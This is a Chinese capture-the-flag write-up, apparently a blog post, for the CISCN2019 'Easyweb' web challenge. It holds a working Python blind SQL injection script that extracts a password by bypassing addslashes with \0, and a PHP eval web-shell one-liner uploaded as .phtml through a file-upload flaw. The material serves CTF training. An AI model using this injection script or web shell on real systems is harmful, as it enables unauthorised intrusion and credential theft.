[CISCN2019 总决赛 Day2 Web1]Easyweb 1

[CISCN2019 总决赛 Day2 Web1]Easyweb 1

0x00 前言

就这道题而言,并没有单一的考察某一个知识点,而是将我们前面的 sql和upload等一些知识结合起来。

0x01 备份文件下载

首先我们的打开环境
在这里插入图片描述
让我们进行登录
一开始我以为是弱密码爆破 直接使用bp,爆出来个寂寞
在这里插入图片描述
之后查看源码,抓包查看无果后
尝试进行目录扫描,发现网站中存在 robots.txt
在这里插入图片描述
查看robots.txt ,发现该网站中存在含有备份文件
在这里插入图片描述

下载备份文件

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

在这里有两个重点:

  1. 存在addslashes()函数 会在预定义字符之前添加反斜杠字符串
    预定义定义字符:单引号 双引号 反斜杠 NULL
  2. str_replace 将"\\0","%00","\\'","'"替换成空(前面第一个 \ 是用来转义的)
  3. .sql查询语句 "select * from images where id=‘{$ id}’ or path='{$ path}

我们可以巧妙的利用 str_replace 构造出paylooad

select * from images where id='\0' or path='{$path}'

分析
我们的目标就是sql传参 就是要将 id处的单引号包裹给打破,
一般我们路是在传参的时候使用的单引号进行包裹,
由于addslashes() 我们没有办法使用单引号(addslashes会将我们输入的引号进行转义)
这时候我们想到了str_replace函数
我们如果传入的参数是\0,那么首先他会经过addslashes(),然后就变成了\\0,这个时候再由str_replace进行替换,id参数就成为了\,也就是达到了我们的目的。

在本关是sql盲注 这里我们使用脚本

import  requests
url = "http://2359e596-ee34-46b7-958b-db7ddd36aace.node4.buuoj.cn/image.php?id=\\0&path="
payload = " or ascii(substr((select password from users),{},1))>{}%23"
result = ''
for i in range(1,100):
    high = 127
    low = 32
    mid = (low+high) // 2
    # print(mid)
    while(high>low):
        r = requests.get(url + payload.format(i,mid))
       # print(url + payload.format(i,mid))
        if 'JFIF' in r.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    result += chr(mid)
    print(result)

在这里插入图片描述
扫出密码 3cb77e000570e34ce889
登录
在这里插入图片描述
发现存在文件上传漏洞
直接上传 php文件 发现上传失败 但可以上传 phtml文件
同时文件中不允许存在 php 所以我们使用段标签绕过

<?= @eval($_POST['hack']); ?>

同时发现文件上传路径为:
logs/upload.b86611bd961024f1a49d7571a9f3467b.log.php
在这里插入图片描述
在这里插入图片描述
蚁剑连接,失败(不知道为什么 蚁剑连接不上phtml)
最后 查了大佬博客 使用用文件名写马 进行连接
在这里插入图片描述

读取flag
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值